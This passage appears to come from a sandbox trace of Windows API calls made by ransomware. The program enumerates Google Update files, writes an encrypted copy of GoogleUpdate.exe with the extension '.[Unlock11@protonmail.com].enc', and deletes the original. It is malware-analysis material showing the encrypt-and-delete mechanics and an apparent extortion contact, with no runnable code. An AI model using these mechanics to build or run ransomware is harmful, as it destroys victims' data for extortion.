ftLastAccessTime.dwLowDateTime=0xbbfd0b02, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcda0384e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7650 [0219.628] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbfd0b02, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcda0384e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0219.629] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc7d58e1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="1.3.33.5", cAlternateFileName="1333~1.5")) returned 1 [0219.629] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcda0384e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="Download", cAlternateFileName="")) returned 1 [0219.629] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x25650, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="GoogleUpdate.exe", cAlternateFileName="GOOGLE~1.EXE")) returned 1 [0219.629] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe0122b4c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe0122b4c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="Install", cAlternateFileName="")) returned 1 [0219.629] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe0122b4c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe0122b4c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="Install", cAlternateFileName="")) returned 0 [0219.629] FindClose (in: hFindFile=0x10f7650 | out: hFindFile=0x10f7650) returned 1 [0219.630] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5")) returned 0x10 [0219.630] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0219.630] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0219.630] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download" (normalized: "c:\\program files (x86)\\google\\update2\\download")) returned 0x10 [0219.635] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0219.635] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\GoogleUpdate.exe" (normalized: "c:\\program files (x86)\\google\\update2\\googleupdate.exe")) returned 0x120 [0219.636] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a468 | out: hHeap=0x2ad0000) returned 1 [0219.636] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0219.636] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install" (normalized: "c:\\program files (x86)\\google\\update2\\install")) returned 0x10 [0219.637] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0219.637] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\GoogleUpdate.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\GoogleUpdate.exe", lpFilePart=0x9bada4*="GoogleUpdate.exe") returned 0x36 [0219.637] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0219.637] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\GoogleUpdate.exe" (normalized: "c:\\program files (x86)\\google\\update2\\googleupdate.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x25650)) returned 1 [0219.637] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662e94 | out: pbBuffer=0x3662e94) returned 1 [0219.637] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0219.638] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a37d0 [0219.638] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0219.638] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\GoogleUpdate.exe" (normalized: "c:\\program files (x86)\\google\\update2\\googleupdate.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0219.638] GetFileType (hFile=0x334) returned 0x1 [0219.638] GetFileType (hFile=0x334) returned 0x1 [0219.638] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0219.638] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.638] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.639] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.639] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.639] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.639] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.639] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\GoogleUpdate.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\google\\update2\\googleupdate.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0219.640] GetFileType (hFile=0x39c) returned 0x1 [0219.641] GetFileType (hFile=0x39c) returned 0x1 [0219.641] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0219.641] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.641] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.641] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.641] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.641] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.641] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.686] CloseHandle (hObject=0x39c) returned 1 [0219.687] CloseHandle (hObject=0x334) returned 1 [0219.687] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\GoogleUpdate.exe" (normalized: "c:\\program files (x86)\\google\\update2\\googleupdate.exe")) returned 1 [0219.689] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc7d58e1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f73d0 [0219.691] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc7d58e1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0219.693] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x46850, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="GoogleCrashHandler.exe", cAlternateFileName="GOOGLE~3.EXE")) returned 1 [0219.693] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x59850, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="GoogleCrashHandler64.exe", cAlternateFileName="GOOGLE~4.EXE")) returned 1 [0219.694] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc631f07, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x25650, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="GoogleUpdate.exe", cAlternateFileName="GOOGLE~1.EXE")) returned 1 [0219.694] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x17850, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="GoogleUpdateBroker.exe", cAlternateFileName="GO664E~1.EXE")) returned 1 [0219.694] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x2a650, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="GoogleUpdateComRegisterShell64.exe", cAlternateFileName="GOBD5D~1.EXE")) returned 1 [0219.694] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x92c50, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="GoogleUpdateCore.exe", cAlternateFileName="GOOGLE~2.EXE")) returned 1 [0219.694] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="GoogleUpdateHelper.msi", cAlternateFileName="GOOGLE~1.MSI")) returned 1 [0219.694] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x17850, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="GoogleUpdateOnDemand.exe", cAlternateFileName="GOF5E2~1.EXE")) returned 1 [0219.695] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc8ddbb3d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x113f58, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="GoogleUpdateSetup.exe", cAlternateFileName="GOFB2B~1.EXE")) returned 1 [0219.695] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x17850, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="GoogleUpdateWebPlugin.exe", cAlternateFileName="GOF8A8~1.EXE")) returned 1 [0219.695] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc631f07, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1abe50, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdate.dll", cAlternateFileName="")) returned 1 [0219.695] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa450, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_am.dll", cAlternateFileName="GOOPDA~1.DLL")) returned 1 [0219.695] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa050, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_ar.dll", cAlternateFileName="GOOPDA~2.DLL")) returned 1 [0219.695] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac50, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_bg.dll", cAlternateFileName="GOOPDA~3.DLL")) returned 1 [0219.695] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_bn.dll", cAlternateFileName="GOOPDA~4.DLL")) returned 1 [0219.696] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac50, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_ca.dll", cAlternateFileName="GO29C7~1.DLL")) returned 1 [0219.696] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_cs.dll", cAlternateFileName="GO58E6~1.DLL")) returned 1 [0219.696] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_da.dll", cAlternateFileName="GODC3A~1.DLL")) returned 1 [0219.696] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb050, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_de.dll", cAlternateFileName="GOAC0F~1.DLL")) returned 1 [0219.696] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_el.dll", cAlternateFileName="GO5382~1.DLL")) returned 1 [0219.696] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_en-GB.dll", cAlternateFileName="GO5AC6~1.DLL")) returned 1 [0219.696] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa450, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_en.dll", cAlternateFileName="GOB81A~1.DLL")) returned 1 [0219.697] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_es-419.dll", cAlternateFileName="GOB840~1.DLL")) returned 1 [0219.697] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb050, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_es.dll", cAlternateFileName="GOE1FA~1.DLL")) returned 1 [0219.697] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_et.dll", cAlternateFileName="GO372F~1.DLL")) returned 1 [0219.697] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa450, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="goopdateres_fa.dll", cAlternateFileName="GO664E~1.DLL")) returned 1 [0219.697] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: 